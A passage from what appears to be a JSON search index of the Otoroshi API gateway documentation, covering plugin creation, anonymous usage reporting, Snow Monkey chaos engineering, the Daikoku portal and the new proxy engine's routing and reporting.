}\n\n@@@\n\n## Providing a transformer from Java classpath\n\nYou can write your own transformer using your favorite IDE. Just create an SBT project with the following dependencies. It can be quite handy to manage the source code like any other piece of code, and it avoid the compilation time for the script at Otoroshi startup.\n\n```scala\nlazy val root = (project in file(\".\")).\n settings(\n inThisBuild(List(\n organization := \"com.example\",\n scalaVersion := \"2.12.7\",\n version := \"0.1.0-SNAPSHOT\"\n )),\n name := \"request-transformer-example\",\n libraryDependencies += \"fr.maif\" %% \"otoroshi\" % \"1.x.x\"\n )\n```\n\n@@@ warning\nyou MUST provide plugins that lies in the `otoroshi_plugins` package or in a sub-package of `otoroshi_plugins`. If you do not, your plugin will not be found by otoroshi. for example\n\n```scala\npackage otoroshi_plugins.com.my.company.myplugin\n```\n\nalso you don't have to instantiate your plugin at the end of the file like in the Otoroshi UI\n@@@\n\nWhen your code is ready, create a jar file \n\n```\nsbt package\n```\n\nand add the jar file to the Otoroshi classpath\n\n```sh\njava -cp \"/path/to/transformer.jar:$/path/to/otoroshi.jar\" play.core.server.ProdServerStart\n```\n\nthen, in your service descriptor, you can chose your transformer in the list. If you want to do it from the API, you have to defined the transformerRef using `cp:` prefix like \n\n```json\n{\n \"transformerRef\": \"cp:otoroshi_plugins.my.class.package.MyTransformer\"\n}\n```\n\n## Getting custom configuration from the Otoroshi config. file\n\nLet say you need to provide custom configuration values for a script, then you can customize a configuration file of Otoroshi\n\n```hocon\ninclude \"application.conf\"\n\notoroshi {\n scripts {\n enabled = true\n }\n}\n\nmy-transformer {\n env = \"prod\"\n maxRequestBodySize = 2048\n maxResponseBodySize = 2048\n}\n```\n\nthen start Otoroshi like\n\n```sh\njava -Dconfig.file=/path/to/custom.conf -jar otoroshi.jar\n```\n\nthen, in your transformer, you can write something like \n\n```scala\npackage otoroshi_plugins.com.example.otoroshi\n\nimport akka.stream.Materializer\nimport akka.stream.scaladsl._\nimport akka.util.ByteString\nimport env.Env\nimport models.{ApiKey, PrivateAppsUser, ServiceDescriptor}\nimport otoroshi.script._\nimport play.api.Logger\nimport play.api.mvc.{Result, Results}\nimport scala.util._\nimport scala.concurrent.{ExecutionContext, Future}\n\nclass BodyLengthLimiter extends RequestTransformer {\n\n override def def transformResponseWithCtx(ctx: TransformerResponseContext)(implicit env: Env, ec: ExecutionContext, mat: Materializer): Source[ByteString, _] = {\n val max = env.configuration.getOptional[Long](\"my-transformer.maxResponseBodySize\").getOrElse(Long.MaxValue)\n ctx.body.limitWeighted(max)(_.size)\n }\n\n override def transformRequestWithCtx(ctx: TransformerRequestContext)(implicit env: Env, ec: ExecutionContext, mat: Materializer): Source[ByteString, _] = {\n val max = env.configuration.getOptional[Long](\"my-transformer.maxRequestBodySize\").getOrElse(Long.MaxValue)\n ctx.body.limitWeighted(max)(_.size)\n }\n}\n```\n\n## Using a library that is not embedded in Otoroshi\n\nJust use the `classpath` option when running Otoroshi\n\n```sh\njava -cp \"/path/to/library.jar:$/path/to/otoroshi.jar\" play.core.server.ProdServerStart\n```\n\nBe carefull as your library can conflict with other libraries used by Otoroshi and affect its stability\n\n## Enabling plugins\n\nplugins can be enabled per service from the service settings page or globally from the danger zone in the plugins section.\n\n## Full example\n\na full external plugin example can be found @link:[here](https://github.com/mathieuancelin/otoroshi-wasmer-plugin)\n" + }, + { + "name": "index.md", + "id": "/plugins/index.md", + "url": "/plugins/index.html", + "title": "Otoroshi plugins", + "content": "# Otoroshi plugins\n\nIn this sections, you will find informations about Otoroshi plugins system\n\n* @ref:[Plugins system](./plugins.md)\n* @ref:[Create plugins](./create-plugins.md)\n* @ref:[Built in plugins](./built-in-plugins.md)\n* @ref:[Built in legacy plugins](./built-in-legacy-plugins.md)\n\n@@@ index\n\n* [Plugins system](./plugins.md)\n* [Create plugins](./create-plugins.md)\n* [Built in plugins](./built-in-plugins.md)\n* [Built in legacy plugins](./built-in-legacy-plugins.md)\n\n@@@" + }, + { + "name": "plugins.md", + "id": "/plugins/plugins.md", + "url": "/plugins/plugins.html", + "title": "Otoroshi plugins system", + "content": "# Otoroshi plugins system\n\nOtoroshi includes several extension points that allows you to create your own plugins and support stuff not supported by default.\n\n## Kind of available plugins\n\n@@@ div { .plugin-kind }\n###Request Sink\n\nUsed when no services are matched in Otoroshi. Can reply with any content.\n@@@\n\n@@@ div { .plugin-kind }\n###Pre routing\n\nUsed to extract values (like custom apikeys) and provide them to other plugins or Otoroshi engine\n@@@\n\n@@@ div { .plugin-kind }\n###Access Validator\n\nUsed to validate if a request can pass or not based on whatever you want\n@@@\n\n@@@ div { .plugin-kind }\n###Request Transformer\n\nUsed to transform request, responses and their body. Can be used to return arbitrary content\n@@@\n\n@@@ div { .plugin-kind }\n###Event listener\n\nAny plugin type can listen to Otoroshi internal events and react to thems\n@@@\n\n@@@ div { .plugin-kind }\n###Job\n\nTasks that can run automatically once, on be scheduled with a cron expression or every defined interval\n@@@\n\n@@@ div { .plugin-kind }\n###Exporter\n\nUsed to export events and Otoroshi alerts to an external source\n@@@\n\n@@@ div { .plugin-kind }\n###Request handler\n\nUsed to handle traffic without passing through Otoroshi routing and apply own rules\n@@@\n\n@@@ div { .plugin-kind }\n###Nano app\n\nUsed to write an api directly in Otoroshi in Scala language\n@@@" + }, + { + "name": "search.md", + "id": "/search.md", + "url": "/search.html", + "title": "Search otoroshi documentation", + "content": "# Search otoroshi documentation\n\n
\n\n" + }, + { + "name": "anonymous-reporting.md", + "id": "/topics/anonymous-reporting.md", + "url": "/topics/anonymous-reporting.html", + "title": "Anonymous reporting", + "content": "# Anonymous reporting\n\nThe best way of supporting us in Otoroshi developement is to enable Anonymous reporting.\n\n## Details\n\nWhen this feature is active, Otoroshi perdiodically send anonymous information about its configuration.\n\nThis information helps us to know how Otoroshi is used, it's a precious hint to prioritise our roadmap.\n\nBelow is an example of what is send by Otoroshi. You can find more information about these fields either on @ref:[entities documentation](../entities/index.md) or [by reading the source code](https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/jobs/reporting.scala#L174-L458).\n\n```json\n{\n \"@timestamp\": 1679514537259,\n \"timestamp_str\": \"2023-03-22T20:48:57.259+01:00\",\n \"@id\": \"4edb54171-8156-4947-b821-41d6c2bd1ba7\",\n \"otoroshi_cluster_id\": \"1148aee35-a487-47b0-b494-a2a44862c618\",\n \"otoroshi_version\": \"16.0.0-dev\",\n \"java_version\": {\n \"version\": \"11.0.16.1\",\n \"vendor\": \"Eclipse Adoptium\"\n },\n \"os\": {\n \"name\": \"Mac OS X\",\n \"version\": \"13.1\",\n \"arch\": \"x86_64\"\n },\n \"datastore\": \"file\",\n \"env\": \"dev\",\n \"features\": {\n \"snow_monkey\": false,\n \"clever_cloud\": false,\n \"kubernetes\": false,\n \"elastic_read\": true,\n \"lets_encrypt\": false,\n \"auto_certs\": false,\n \"wasm_manager\": true,\n \"backoffice_login\": false\n },\n \"stats\": {\n \"calls\": 3823,\n \"data_in\": 480406,\n \"data_out\": 4698261,\n \"rate\": 0,\n \"duration\": 35.89899494949495,\n \"overhead\": 24.696984848484846,\n \"data_in_rate\": 0,\n \"data_out_rate\": 0,\n \"concurrent_requests\": 0\n },\n \"engine\": {\n \"uses_new\": true,\n \"uses_new_full\": false\n },\n \"cluster\": {\n \"mode\": \"Leader\",\n \"all_nodes\": 1,\n \"alive_nodes\": 1,\n \"leaders_count\": 1,\n \"workers_count\": 0,\n \"nodes\": [\n {\n \"id\": \"node_15ac62ec3-3e0d-48c1-a8ea-15de97088e3c\",\n \"os\": {\n \"name\": \"Mac OS X\",\n \"version\": \"13.1\",\n \"arch\": \"x86_64\"\n },\n \"java_version\": {\n \"version\": \"11.0.16.1\",\n \"vendor\": \"Eclipse Adoptium\"\n },\n \"version\": \"16.0.0-dev\",\n \"type\": \"Leader\",\n \"cpu_usage\": 10.992902320605205,\n \"load_average\": 44.38720703125,\n \"heap_used\": 527,\n \"heap_size\": 2048,\n \"relay\": true,\n \"tunnels\": 0\n }\n ]\n },\n \"entities\": {\n \"scripts\": {\n \"count\": 0,\n \"by_kind\": {}\n },\n \"routes\": {\n \"count\": 24,\n \"plugins\": {\n \"min\": 1,\n \"max\": 26,\n \"avg\": 4\n }\n },\n \"router_routes\": {\n \"count\": 27,\n \"http_clients\": {\n \"ahc\": 25,\n \"akka\": 2,\n \"netty\": 0,\n \"akka_ws\": 0\n },\n \"plugins\": {\n \"min\": 1,\n \"max\": 26,\n \"avg\": 4\n }\n },\n \"route_compositions\": {\n \"count\": 1,\n \"plugins\": {\n \"min\": 1,\n \"max\": 1,\n \"avg\": 1\n },\n \"by_kind\": {\n \"global\": 1\n }\n },\n \"apikeys\": {\n \"count\": 6,\n \"by_kind\": {\n \"disabled\": 0,\n \"with_rotation\": 0,\n \"with_read_only\": 0,\n \"with_client_id_only\": 0,\n \"with_constrained_services\": 0,\n \"with_meta\": 2,\n \"with_tags\": 1\n },\n \"authorized_on\": {\n \"min\": 1,\n \"max\": 4,\n \"avg\": 2\n }\n },\n \"jwt_verifiers\": {\n \"count\": 6,\n \"by_strategy\": {\n \"pass_through\": 6\n },\n \"by_alg\": {\n \"HSAlgoSettings\": 6\n }\n },\n \"certificates\": {\n \"count\": 9,\n \"by_kind\": {\n \"auto_renew\": 6,\n \"exposed\": 6,\n \"client\": 1,\n \"keypair\": 1\n }\n },\n \"auth_modules\": {\n \"count\": 8,\n \"by_kind\": {\n \"basic\": 7,\n \"oauth2\": 1\n }\n },\n \"service_descriptors\": {\n \"count\": 3,\n \"plugins\": {\n \"old\": 0,\n \"new\": 0\n },\n \"by_kind\": {\n \"disabled\": 1,\n \"fault_injection\": 0,\n \"health_check\": 1,\n \"gzip\": 0,\n \"jwt\": 0,\n \"cors\": 1,\n \"auth\": 0,\n \"protocol\": 0,\n \"restrictions\": 0\n }\n },\n \"teams\": {\n \"count\": 2\n },\n \"tenants\": {\n \"count\": 2\n },\n \"service_groups\": {\n \"count\": 2\n },\n \"data_exporters\": {\n \"count\": 10,\n \"by_kind\": {\n \"elastic\": 5,\n \"file\": 2,\n \"metrics\": 1,\n \"console\": 1,\n \"s3\": 1\n }\n },\n \"otoroshi_admins\": {\n \"count\": 5,\n \"by_kind\": {\n \"simple\": 2,\n \"webauthn\": 3\n }\n },\n \"backoffice_sessions\": {\n \"count\": 1,\n \"by_kind\": {\n \"simple\": 1\n }\n },\n \"private_apps_sessions\": {\n \"count\": 0,\n \"by_kind\": {}\n },\n \"tcp_services\": {\n \"count\": 0\n }\n },\n \"plugins_usage\": {\n \"cp:otoroshi.next.plugins.AdditionalHeadersOut\": 2,\n \"cp:otoroshi.next.plugins.DisableHttp10\": 2,\n \"cp:otoroshi.next.plugins.OverrideHost\": 27,\n \"cp:otoroshi.next.plugins.TailscaleFetchCertificate\": 1,\n \"cp:otoroshi.next.plugins.OtoroshiInfos\": 6,\n \"cp:otoroshi.next.plugins.MissingHeadersOut\": 2,\n \"cp:otoroshi.next.plugins.Redirection\": 2,\n \"cp:otoroshi.next.plugins.OtoroshiChallenge\": 5,\n \"cp:otoroshi.next.plugins.BuildMode\": 2,\n \"cp:otoroshi.next.plugins.XForwardedHeaders\": 2,\n \"cp:otoroshi.next.plugins.NgLegacyAuthModuleCall\": 2,\n \"cp:otoroshi.next.plugins.Cors\": 4,\n \"cp:otoroshi.next.plugins.OtoroshiHeadersIn\": 2,\n \"cp:otoroshi.next.plugins.NgDefaultRequestBody\": 1,\n \"cp:otoroshi.next.plugins.NgHttpClientCache\": 1,\n \"cp:otoroshi.next.plugins.ReadOnlyCalls\": 2,\n \"cp:otoroshi.next.plugins.RemoveHeadersIn\": 2,\n \"cp:otoroshi.next.plugins.JwtVerificationOnly\": 1,\n \"cp:otoroshi.next.plugins.ApikeyCalls\": 3,\n \"cp:otoroshi.next.plugins.WasmAccessValidator\": 3,\n \"cp:otoroshi.next.plugins.WasmBackend\": 3,\n \"cp:otoroshi.next.plugins.IpAddressAllowedList\": 2,\n \"cp:otoroshi.next.plugins.AuthModule\": 4,\n \"cp:otoroshi.next.plugins.RemoveHeadersOut\": 2,\n \"cp:otoroshi.next.plugins.IpAddressBlockList\": 2,\n \"cp:otoroshi.next.proxy.ProxyEngine\": 1,\n \"cp:otoroshi.next.plugins.JwtVerification\": 3,\n \"cp:otoroshi.next.plugins.GzipResponseCompressor\": 2,\n \"cp:otoroshi.next.plugins.SendOtoroshiHeadersBack\": 3,\n \"cp:otoroshi.next.plugins.AdditionalHeadersIn\": 4,\n \"cp:otoroshi.next.plugins.SOAPAction\": 1,\n \"cp:otoroshi.next.plugins.NgLegacyApikeyCall\": 6,\n \"cp:otoroshi.next.plugins.ForceHttpsTraffic\": 2,\n \"cp:otoroshi.next.plugins.NgErrorRewriter\": 1,\n \"cp:otoroshi.next.plugins.MissingHeadersIn\": 2,\n \"cp:otoroshi.next.plugins.MaintenanceMode\": 3,\n \"cp:otoroshi.next.plugins.RoutingRestrictions\": 2,\n \"cp:otoroshi.next.plugins.HeadersValidation\": 2\n }\n}\n```\n\n## Toggling\n\nAnonymous reporting can be toggled any time using :\n\n- the UI (Features > Danger zone > Send anonymous reports)\n- `otoroshi.anonymous-reporting.enabled` configuration\n- `OTOROSHI_ANONYMOUS_REPORTING_ENABLED` env variable\n" + }, + { + "name": "chaos-engineering.md", + "id": "/topics/chaos-engineering.md", + "url": "/topics/chaos-engineering.html", + "title": "Chaos engineering with the Snow Monkey", + "content": "# Chaos engineering with the Snow Monkey\n\nNihonzaru (the Snow Monkey) is the chaos engineering tool provided by Otoroshi. You can access it at `Settings (cog icon) / Snow Monkey`.\n\n@@@ div { .centered-img }\n\n@@@\n\n## Chaos engineering\n\nOtoroshi offers some tools to introduce [chaos engineering](https://principlesofchaos.org/) in your everyday life. With chaos engineering, you will improve the resilience of your architecture by creating faults in production on running systems. With [Nihonzaru (the snow monkey)](https://en.wikipedia.org/wiki/Japanese_macaque) Otoroshi helps you to create faults on http request/response handled by Otoroshi. \n\n@@@ div { .centered-img }\n\n@@@\n\n## Settings\n\n@@@ div { .centered-img }\n\n@@@\n\nThe snow monkey let you define a few settings to work properly :\n\n* **Include user facing apps.**: you want to create fault in production, but maybe you don't want your users to enjoy some nice snow monkey generated error pages. Using this switch let you include of not user facing apps (ui apps). Each service descriptor has a `User facing app switch` that will be used by the snow monkey.\n* **Dry run**: when dry run is enabled, outages will be registered and will generate events and alerts (in the otoroshi eventing system) but requests won't be actualy impacted. It's a good way to prepare applications to the snow monkey habits\n* **Outage strategy**: Either `AllServicesPerGroup` or `OneServicePerGroup`. It means that only one service per group or all services per groups will have `n` outages (see next bullet point) during the snow monkey working period\n* **Outages per day**: during snow monkey working period, each service per group or one service per group will have only `n` outages registered \n* **Working period**: the snow monkey only works during a working period. Here you can defined when it starts and when it stops\n* **Outage duration**: here you can defined the bounds for the random outage duration when an outage is created on a service\n* **Impacted groups**: here you can define a list of service groups impacted by the snow monkey. If none is specified, then all service groups will be impacted\n\n## Faults\n\nWith the snow monkey, you can generate four types of faults\n\n* **Large request fault**: Add trailing bytes at the end of the request body (if one)\n* **Large response fault**: Add trailing bytes at the end of the response body\n* **Latency injection fault**: Add random response latency between two bounds\n* **Bad response injection fault**: Create predefined responses with custom headers, body and status code\n\nEach fault let you define a ratio for impacted requests. If you specify a ratio of `0.2`, then 20% of the requests for the impacte service will be impacted by this fault\n\n@@@ div { .centered-img }\n\n@@@\n\nThen you juste have to start the snow monkey and enjoy the show ;)\n\n@@@ div { .centered-img }\n\n@@@\n\n## Current outages\n\nIn the last section of the snow monkey page, you can see current outages (per service), when they started, their duration, etc ...\n\n@@@ div { .centered-img }\n\n@@@" + }, + { + "name": "dev-portal.md", + "id": "/topics/dev-portal.md", + "url": "/topics/dev-portal.html", + "title": "Developer portal with Daikoku", + "content": "# Developer portal with Daikoku\n\nWhile Otoroshi is the perfect tool to manage your webapps in a technical point of view it lacked of business perspective. This is not the case anymore with Daikoku.\n\nWhile Otoroshi is a standalone, Daikoku is a developer portal which stands in front of Otoroshi and provides some business feature.\n\nWhether you want to use Daikoku for your public APIs, you want to monetize or with your private APIs to provide some documentation, facilitation and self-service feature, it will be the perfect portal for Otoroshi.\n\n@@@div { .plugin .platform }\n## Daikoku\n\nRun your first Daikoku with a simple jar or with one Docker command.\n\n\n
\nTry Daikoku \n
\n@link:[With jar](https://maif.github.io/daikoku/devmanual/getdaikoku/frombinaries.html)\n@link:[With Docker](https://maif.github.io/daikoku/devmanual/getdaikoku/fromdocker.html)\n@@@\n\n@@@div { .plugin .platform }\n## Contribute\n\nDaikoku is opensource, so all contributions are welcome.\n\n\n@link:[Show the repository](https://github.com/MAIF/daikoku)\n@@@\n\n@@@div { .plugin .platform }\n## Documentation\n\nDaikoku and its UI are fully documented.\n\n\n@link:[Read the documentation](https://maif.github.io/daikoku/devmanual/)\n@@@\n\n" + }, + { + "name": "engine.md", + "id": "/topics/engine.md", + "url": "/topics/engine.html", + "title": "Proxy engine", + "content": "# Proxy engine\n\nStarting from the `1.5.3` release, otoroshi offers a new plugin that implements the next generation of the proxy engine. \nThis engine has been designed based on our 5 years experience building, maintaining and running the previous one.\nIt tries to fix all the drawback we may have encountered during those years and highly improve performances, user experience, reporting and debugging capabilities. \n\nThe new engine is fully plugin oriented in order to spend CPU cycles only on useful stuff. You can enable this plugin only on some domain names so you can easily A/B test the new engine. The new proxy engine is designed to be more reactive and more efficient generally. It is also designed to be very efficient on path routing where it wasn't the old engines strong suit.\n\nStarting from version `16.0.0`, this engine will be enabled by default on any new otoroshi cluster. In a future version, the engine will be enabled for any new or exisiting otoroshi cluster.\n\n## Enabling the new engine\n\nBy default, all freshly started Otoroshi instances have the new proxy engine enabled by default, for the other, to enable the new proxy engine on an otoroshi instance, just add the plugin in the `global plugins` section of the danger zone, inject the default configuration, enable it and in `domains` add the values of the desired domains (let say we want to use the new engine on `api.foo.bar`. It is possible to use `*.foo.bar` if that's what you want to do).\n\nThe next time a request hits the `api.foo.bar` domain, the new engine will handle it instead of the previous one.\n\n```json\n{\n \"NextGenProxyEngine\" : {\n \"enabled\" : true,\n \"debug_headers\" : false,\n \"reporting\": true,\n \"domains\" : [ \"api.foo.bar\" ],\n \"deny_domains\" : [ ],\n }\n}\n```\n\nif you need to enable global plugin with the new engine, you can add the following configuration in the `global plugins` configuration object \n\n```javascript\n{\n ...\n \"ng\": {\n \"slots\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.W3CTracing\",\n \"enabled\": true,\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"baggage\": {\n \"foo\": \"bar\"\n }\n }\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.wrappers.RequestSinkWrapper\",\n \"enabled\": true,\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"plugin\": \"cp:otoroshi.plugins.apikeys.ClientCredentialService\",\n \"ClientCredentialService\": {\n \"domain\": \"ccs-next-gen.oto.tools\",\n \"expiration\": 3600000,\n \"defaultKeyPair\": \"otoroshi-jwt-signing\",\n \"secure\": false\n }\n }\n }\n ]\n }\n ...\n}\n```\n\n## Entities\n\nThis plugin introduces new entities that will replace (one day maybe) service descriptors:\n\n - `routes`: a unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins\n - `backends`: a list of targets to contact a backend\n\n## Entities sync\n\nA new behavior introduced for the new proxy engine is the entities sync job. To avoid unecessary operations on the underlying datastore when routing requests, a new job has been setup in otoroshi that synchronize the content of the datastore (at least a part of it) with an in-memory cache. Because of it, the propagation of changes between an admin api call and the actual result on routing can be longer than before. When a node creates, updates, or deletes an entity via the admin api, other nodes need to wait for the next poll to purge the old cached entity and start using the new one. You can change the interval between syncs with the configuration key `otoroshi.next.state-sync-interval` or the env. variable `OTOROSHI_NEXT_STATE_SYNC_INTERVAL`. The default value is `10000` and the unit is `milliseconds`\n\n@@@ warning\nBecause of entities sync, memory consumption of otoroshi will be significantly higher than previous versions. You can use `otoroshi.next.monitor-proxy-state-size=true` config (or `OTOROSHI_NEXT_MONITOR_PROXY_STATE_SIZE` env. variable) to monitor the actual memory size of the entities cache. This will produce the `ng-proxy-state-size-monitoring` metric in standard otoroshi metrics\n@@@\n\n## Automatic conversion\n\nThe new engine uses new entities for its configuration, but in order to facilitate transition between the old world and the new world, all the `service descriptors` of an otoroshi instance are automatically converted live into `routes` periodically. Any `service descriptor` should still work as expected through the new engine while enjoying all the perks.\n\n@@@ warning\nthe experimental nature of the engine can imply unexpected behaviors for converted service descriptors\n@@@\n\n## Routing\n\nthe new proxy engine introduces a new router that has enhanced capabilities and performances. The router can handle thousands of routes declarations without compromising performances.\n\nThe new route allow routes to be matched on a combination of\n\n* hostname\n* path\n* header values\n * where values can be `exact_value`, or `Regex(value_regex)`, or `Wildcard(value_with_*)`\n* query param values\n * where values can be `exact_value`, or `Regex(value_regex)`, or `Wildcard(value_with_*)`\n\npatch matching works \n\n* exactly\n * matches `/api/foo` with `/api/foo` and not with `/api/foo/bar`\n* starting with value (default behavior, like the previous engine)\n * matches `/api/foo` with `/api/foo` but also with `/api/foo/bar`\n\npath matching can also include wildcard paths and even path params\n\n* plain old path: `subdomain.domain.tld/api/users`\n* wildcard path: `subdomain.domain.tld/api/users/*/bills`\n* named path params: `subdomain.domain.tld/api/users/:id/bills`\n* named regex path params: `subdomain.domain.tld/api/users/$id<[0-9]+>/bills`\n\nhostname matching works on \n\n* exact values\n * `subdomain.domain.tld`\n* wildcard values like\n * `*.domain.tld`\n * `subdomain.*.tld`\n\nas path matching can now include named path params, it is possible to perform a ful url rewrite on the target path like \n\n* input: `subdomain.domain.tld/api/users/$id<[0-9]+>/bills`\n* output: `target.domain.tld/apis/v1/basic_users/${req.pathparams.id}/all_bills`\n\n## Plugins\n\nthe new route entity defines a plugin pipline where any plugin can be enabled or not and can be active only on some paths. \nEach plugin slot in the pipeline holds the plugin id and the plugin configuration. \n\nYou can also enable debugging only on a plugin instance instead of the whole route (see [the debugging section](#debugging))\n\n```javascript\n{ \n ...\n \"plugins\" : [ {\n \"enabled\" : true,\n \"debug\" : false,\n \"plugin\" : \"cp:otoroshi.next.plugins.OverrideHost\",\n \"include\" : [ ],\n \"exclude\" : [ ],\n \"config\" : { }\n }, {\n \"enabled\" : true,\n \"debug\" : false,\n \"plugin\" : \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"include\" : [ ],\n \"exclude\" : [ \"/openapi.json\" ],\n \"config\" : { }\n } ]\n}\n```\n\nyou can find the list of built-in plugins @ref:[here](../plugins/built-in-plugins.md)\n\n## Using legacy plugins\n\nif you need to use legacy otoroshi plugins with the new engine, you can use several wrappers in order to do so\n\n* `otoroshi.next.plugins.wrappers.PreRoutingWrapper`\n* `otoroshi.next.plugins.wrappers.AccessValidatorWrapper`\n* `otoroshi.next.plugins.wrappers.RequestSinkWrapper`\n* `otoroshi.next.plugins.wrappers.RequestTransformerWrapper`\n* `otoroshi.next.plugins.wrappers.CompositeWrapper`\n\nto use it, just declare a plugin slot with the right wrapper and in the config, declare the `plugin` you want to use and its configuration like:\n\n```javascript\n{\n \"plugin\": \"cp:otoroshi.next.plugins.wrappers.PreRoutingWrapper\",\n \"enabled\": true,\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"plugin\": \"cp:otoroshi.plugins.jwt.JwtUserExtractor\",\n \"JwtUserExtractor\": {\n \"verifier\" : \"$ref\",\n \"strict\" : true,\n \"namePath\" : \"name\",\n \"emailPath\": \"email\",\n \"metaPath\" : null\n }\n }\n}\n```\n\n## Reporting\n\nby default, any request hiting the new engine will generate an execution report with informations about how the request pipeline steps were performed. It is possible to export those reports as `RequestFlowReport` events using classical data exporter. By default, exporting for reports is not enabled, you must enable the `export_reporting` flag on a `route` or `service`.\n\n```javascript\n{\n \"@id\": \"8efac472-07bc-4a80-8d27-4236309d7d01\",\n \"@timestamp\": \"2022-02-15T09:51:25.402+01:00\",\n \"@type\": \"RequestFlowReport\",\n \"@product\": \"otoroshi\",\n \"@serviceId\": \"service_548f13bb-a809-4b1d-9008-fae3b1851092\",\n \"@service\": \"demo-service\",\n \"@env\": \"prod\",\n \"route\": {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"service_dev_d54f11d0-18e2-4da4-9316-cf47733fd29a\",\n \"name\" : \"hey\",\n \"description\" : \"hey\",\n \"tags\" : [ \"env:prod\" ],\n \"metadata\" : { },\n \"enabled\" : true,\n \"debug_flow\" : true,\n \"export_reporting\" : false,\n \"groups\" : [ \"default\" ],\n \"frontend\" : {\n \"domains\" : [ \"hey-next-gen.oto.tools/\", \"hey.oto.tools/\" ],\n \"strip_path\" : true,\n \"exact\" : false,\n \"headers\" : { },\n \"methods\" : [ ]\n },\n \"backend\" : {\n \"targets\" : [ {\n \"id\" : \"127.0.0.1:8081\",\n \"hostname\" : \"127.0.0.1\",\n \"port\" : 8081,\n \"tls\" : false,\n \"weight\" : 1,\n \"protocol\" : \"HTTP/1.1\",\n \"ip_address\" : null,\n \"tls_config\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n } ],\n \"target_refs\" : [ ],\n \"root\" : \"/\",\n \"rewrite\" : false,\n \"load_balancing\" : {\n \"type\" : \"RoundRobin\"\n },\n \"client\" : {\n \"useCircuitBreaker\" : true,\n \"retries\" : 1,\n \"maxErrors\" : 20,\n \"retryInitialDelay\" : 50,\n \"backoffFactor\" : 2,\n \"callTimeout\" : 30000,\n \"callAndStreamTimeout\" : 120000,\n \"connectionTimeout\" : 10000,\n \"idleTimeout\" : 60000,\n \"globalTimeout\" : 30000,\n \"sampleInterval\" : 2000,\n \"proxy\" : { },\n \"customTimeouts\" : [ ],\n \"cacheConnectionSettings\" : {\n \"enabled\" : false,\n \"queueSize\" : 2048\n }\n }\n },\n \"backend_ref\" : null,\n \"plugins\" : [ ]\n },\n \"report\": {\n \"id\" : \"ab73707b3-946b-4853-92d4-4c38bbaac6d6\",\n \"creation\" : \"2022-02-15T09:51:25.402+01:00\",\n \"termination\" : \"2022-02-15T09:51:25.408+01:00\",\n \"duration\" : 5,\n \"duration_ns\" : 5905522,\n \"overhead\" : 4,\n \"overhead_ns\" : 4223215,\n \"overhead_in\" : 2,\n \"overhead_in_ns\" : 2687750,\n \"overhead_out\" : 1,\n \"overhead_out_ns\" : 1535465,\n \"state\" : \"Successful\",\n \"steps\" : [ {\n \"task\" : \"start-handling\",\n \"start\" : 1644915085402,\n \"start_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"stop\" : 1644915085402,\n \"stop_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 177430,\n \"ctx\" : null\n }, {\n \"task\" : \"check-concurrent-requests\",\n \"start\" : 1644915085402,\n \"start_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"stop\" : 1644915085402,\n \"stop_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 145242,\n \"ctx\" : null\n }, {\n \"task\" : \"find-route\",\n \"start\" : 1644915085402,\n \"start_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 497119,\n \"ctx\" : {\n \"found_route\" : {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"service_dev_d54f11d0-18e2-4da4-9316-cf47733fd29a\",\n \"name\" : \"hey\",\n \"description\" : \"hey\",\n \"tags\" : [ \"env:prod\" ],\n \"metadata\" : { },\n \"enabled\" : true,\n \"debug_flow\" : true,\n \"export_reporting\" : false,\n \"groups\" : [ \"default\" ],\n \"frontend\" : {\n \"domains\" : [ \"hey-next-gen.oto.tools/\", \"hey.oto.tools/\" ],\n \"strip_path\" : true,\n \"exact\" : false,\n \"headers\" : { },\n \"methods\" : [ ]\n },\n \"backend\" : {\n \"targets\" : [ {\n \"id\" : \"127.0.0.1:8081\",\n \"hostname\" : \"127.0.0.1\",\n \"port\" : 8081,\n \"tls\" : false,\n \"weight\" : 1,\n \"protocol\" : \"HTTP/1.1\",\n \"ip_address\" : null,\n \"tls_config\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n } ],\n \"target_refs\" : [ ],\n \"root\" : \"/\",\n \"rewrite\" : false,\n \"load_balancing\" : {\n \"type\" : \"RoundRobin\"\n },\n \"client\" : {\n \"useCircuitBreaker\" : true,\n \"retries\" : 1,\n \"maxErrors\" : 20,\n \"retryInitialDelay\" : 50,\n \"backoffFactor\" : 2,\n \"callTimeout\" : 30000,\n \"callAndStreamTimeout\" : 120000,\n \"connectionTimeout\" : 10000,\n \"idleTimeout\" : 60000,\n \"globalTimeout\" : 30000,\n \"sampleInterval\" : 2000,\n \"proxy\" : { },\n \"customTimeouts\" : [ ],\n \"cacheConnectionSettings\" : {\n \"enabled\" : false,\n \"queueSize\" : 2048\n }\n }\n },\n \"backend_ref\" : null,\n \"plugins\" : [ ]\n },\n \"matched_path\" : \"\",\n \"exact\" : true,\n \"params\" : { },\n \"matched_routes\" : [ \"service_dev_d54f11d0-18e2-4da4-9316-cf47733fd29a\" ]\n }\n }, {\n \"task\" : \"compute-plugins\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 105151,\n \"ctx\" : {\n \"disabled_plugins\" : [ ],\n 